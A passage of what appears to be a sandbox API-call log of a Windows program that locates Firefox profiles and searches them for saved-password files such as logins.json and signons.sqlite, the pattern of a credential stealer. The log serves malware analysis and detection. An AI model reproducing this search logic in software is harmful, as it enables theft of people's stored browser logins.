0x0 [0048.138] LocalFree (hMem=0x75a808) returned 0x0 [0048.138] LocalFree (hMem=0x754820) returned 0x0 [0048.138] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x2, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.138] lstrlenA (lpString="Software\\Mozilla") returned 16 [0048.138] lstrlenA (lpString="\\") returned 1 [0048.138] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0048.138] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0048.138] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.138] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0048.138] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0048.138] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x754820 [0048.138] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.138] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0048.138] LocalFree (hMem=0x716ef8) returned 0x0 [0048.138] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Firefox") returned="Firefox 25.0" [0048.138] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0048.138] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0048.138] RegCloseKey (hKey=0x394) returned 0x0 [0048.138] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0048.139] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0048.139] RegCloseKey (hKey=0x394) returned 0x0 [0048.139] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x0) returned 0x2 [0048.139] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0048.139] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0048.139] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.139] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0048.139] lstrlenA (lpString="\\") returned 1 [0048.139] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0048.139] lstrcpyA (in: lpString1=0x7548d0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0048.139] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.139] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0048.139] lstrlenA (lpString="bin") returned 3 [0048.139] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7508d8 [0048.139] lstrcpyA (in: lpString1=0x7508d8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.139] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0048.139] LocalFree (hMem=0x7548d0) returned 0x0 [0048.139] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Firefox") returned="Firefox 25.0\\bin" [0048.139] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.139] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x1, lpData=0x0, lpcbData=0xefb94*=0x33) returned 0x0 [0048.139] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x756820 [0048.139] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x756820, lpcbData=0xefb94*=0x33 | out: lpType=0x0, lpData=0x756820*=0x43, lpcbData=0xefb94*=0x33) returned 0x0 [0048.139] RegCloseKey (hKey=0x398) returned 0x0 [0048.139] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.139] lstrlenA (lpString="") returned 0 [0048.139] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x7568e0 [0048.139] lstrcpyA (in: lpString1=0x7568e0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.139] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.139] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.139] StrStrIA (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0048.139] StrRChrIA (lpStart="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0048.139] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0048.139] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0048.139] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0048.139] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0048.139] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0048.139] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a670 [0048.139] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0048.140] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.140] LocalFree (hMem=0x7469f0) returned 0x0 [0048.140] GetFileAttributesA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox")) returned 0x2010 [0048.140] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox" (normalized: "c:\\program files (x86)\\mozilla firefox")) returned 0x10 [0048.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.140] lstrlenA (lpString="") returned 0 [0048.140] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a738 [0048.140] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.140] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.140] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.140] lstrlenA (lpString="profiles.ini") returned 12 [0048.140] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x745b68 [0048.140] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.140] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0048.140] LocalAlloc (uFlags=0x40, uBytes=0xfe6a) returned 0x9401750 [0048.141] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x75b090 [0048.141] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0048.141] CloseHandle (hObject=0x398) returned 1 [0048.141] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x9401750, nSize=0xfde8, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0048.142] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0048.142] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0048.142] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x75b090, nSize=0xfff, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/asmpdd98.default") returned 0x19 [0048.143] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1 [0048.145] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.145] lstrlenA (lpString="Profiles/asmpdd98.default") returned 25 [0048.145] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x74d860 [0048.145] lstrcpyA (in: lpString1=0x74d860, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.145] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles/asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/asmpdd98.default" [0048.145] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.145] lstrlenA (lpString="\\*.*") returned 4 [0048.145] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x7469f0 [0048.145] lstrcpyA (in: lpString1=0x7469f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.145] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*" [0048.145] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*", lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 0x72dc90 [0048.145] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.145] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.145] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.145] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.145] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.145] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0048.145] lstrlenA (lpString="addons.json") returned 11 [0048.145] StrStrIA (lpFirst="addons.json", lpSrch="logins.json") returned 0x0 [0048.145] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0048.145] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0048.145] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0048.145] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.145] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0048.145] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0048.145] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.145] lstrlenA (lpString="\\") returned 1 [0048.145] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.146] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.146] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.146] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.146] lstrlenA (lpString="bookmarkbackups") returned 15 [0048.146] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74d998 [0048.146] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.146] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.146] LocalFree (hMem=0x746ad0) returned 0x0 [0048.146] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned 97 [0048.146] lstrlenA (lpString="\\*.*") returned 4 [0048.146] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x74da88 [0048.146] lstrcpyA (in: lpString1=0x74da88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.146] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*" [0048.146] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*", lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0x72dcd0 [0048.146] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.146] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.146] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.146] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.146] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 1 [0048.146] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.sqlite") returned 0x0 [0048.146] lstrlenA (lpString="bookmarks-2017-06-30_5.json") returned 27 [0048.146] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="logins.json") returned 0x0 [0048.146] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.txt") returned 0x0 [0048.146] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons2.txt") returned 0x0 [0048.146] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons3.txt") returned 0x0 [0048.146] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8c8 | out: lpFindFileData=0xef8c8) returned 0 [0048.146] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.146] LocalFree (hMem=0x74da88) returned 0x0 [0048.146] LocalFree (hMem=0x74d998) returned 0x0 [0048.146] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.146] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0048.146] lstrlenA (lpString="cert8.db") returned 8 [0048.146] StrStrIA (lpFirst="cert8.db", lpSrch="logins.json") returned 0x0 [0048.146] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0048.146] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0048.146] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0048.146] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.146] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0048.146] lstrlenA (lpString="compatibility.ini") returned 17 [0048.146] StrStrIA (lpFirst="compatibility.ini", lpSrch="logins.json") returned 0x0 [0048.146] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0048.146] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0048.146] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0048.146] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.146] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.146] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0048.147] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="logins.json") returned 0x0 [0048.147] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.147] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.147] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.147] lstrlenA (lpString="cookies.sqlite") returned 14 [0048.147] StrStrIA (lpFirst="cookies.sqlite", lpSrch="logins.json") returned 0x0 [0048.147] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.147] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.147] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.147] lstrlenA (lpString="downloads.sqlite") returned 16 [0048.147] StrStrIA (lpFirst="downloads.sqlite", lpSrch="logins.json") returned 0x0 [0048.147] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.147] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.147] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0048.147] lstrlenA (lpString="extensions.ini") returned 14 [0048.147] StrStrIA (lpFirst="extensions.ini", lpSrch="logins.json") returned 0x0 [0048.147] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0048.147] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.147] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.147] lstrlenA (lpString="extensions.sqlite") returned 17 [0048.147] StrStrIA (lpFirst="extensions.sqlite", lpSrch="logins.json") returned 0x0 [0048.147] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.147] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.147] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.147] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0048.147] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0048.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.147] lstrlenA (lpString="\\") returned 1 [0048.147] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x746ad0 [0048.147] lstrcpyA (in: lpString1=0x746ad0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.147] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.147] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.147] lstrlenA (lpString="healthreport") returned 12 [0048.147] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x74f980 [0048.147] lstrcpyA (in: lpString1=0x74f980, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.147] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0048.147] LocalFree 